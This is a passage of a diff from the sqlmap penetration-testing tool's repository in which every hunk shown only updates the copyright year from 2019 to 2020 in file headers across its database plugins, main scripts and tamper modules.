@@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index 00c09480d..76e42d4ee 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 575091a77..75816c368 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index 1f2730966..dc6c66174 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index 796443b21..20079a4aa 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index 40696af8c..ef7ca75fa 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index 668efdd47..119ccb63d 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 46437fbed..91956307e 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 5fe0301d9..ed394ecde 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index e4820fc32..4e4f7db0e 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index 4100babe3..8cf6c2910 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index 0e35ae7aa..c47253a0e 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index 3c171b692..a53a4212f 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 6e1fc60de..a2abdd3d3 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index ccb7e534e..ebaf32f33 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 4ce41cf33..f92485a2c 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 6b2f66e16..228ba311a 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index 542e094ef..8d135c93e 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index a66d12313..73308010b 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index e2d352542..1188be561 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 2d2fcc69d..26085c751 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index c79a89758..ba3d1b1ab 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index 4684531a3..c5a42c9fb 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 4a31b0625..9dc7cb654 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 60865c00c..afa75fc7e 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index dbffdb4fa..2c638e735 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index 7d46c6f1f..c40c28221 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index 1b81bc1f5..acd70b6b5 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index b1097bcf0..4dcbdecc2 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index d21ebf1ec..a12a8c581 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index f21c6b5ec..853d50881 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index 179c828de..ec7fe6cca 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 0350a36d9..e4454d17d 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index 004a7165d..226e8feda 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index f099b766d..f1270eb68 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index 0ee814629..1c985b81f 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index 89426f8fc..d6b5e3820 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 40ec72911..4093a3d69 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index b4b20e767..f9d5af85f 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index 0f1f5dab1..e5410583c 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index 9eedd7e01..0b31f519b 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 80298459a..d73538809 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 9e4f9e63e..d45410f5d 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index a2f8757a4..305b9bd8f 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index a97a27b01..9381dd270 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index f8299027d..7a9e70199 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 98681a78b..55f6e1c58 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index c654cbef7..a1e6b4789 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 656485e1a..6f001e5bf 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 41860b569..a1faa80ee 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 0f04f4015..5a86d7123 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index e54927675..83e4fea09 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index c8b40728e..d5b35b7e0 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 946c3ae95..2a04bb9f0 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 26ff4e39b..76c7199f1 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 3f1793317..528dad0b1 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 30f1feaac..c2a680afa 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index bb0bee737..f6476382a 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 7d1de8f37..33e45886f 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 5985d3b3b..1636522eb 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/sqlmap.py b/sqlmap.py index b353ae324..811fc4ca7 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/sqlmapapi.py b/sqlmapapi.py index 9af5ab716..f178334e7 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/__init__.py b/tamper/__init__.py index c654cbef7..a1e6b4789 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index d5ed52de3..6c2c243a4 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index 751c0096b..ae0a9bc51 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index 5d23e4d57..88ee1d522 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/base64encode.py b/tamper/base64encode.py index 9718da1e0..0aa8185a3 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/between.py b/tamper/between.py index e8d46b8f4..c222fb470 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index 0ec2af80c..d488280bd 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index 512c2b3b4..128d4100e 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charencode.py b/tamper/charencode.py index bf2283b1f..8e4330a84 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,7 +1,7 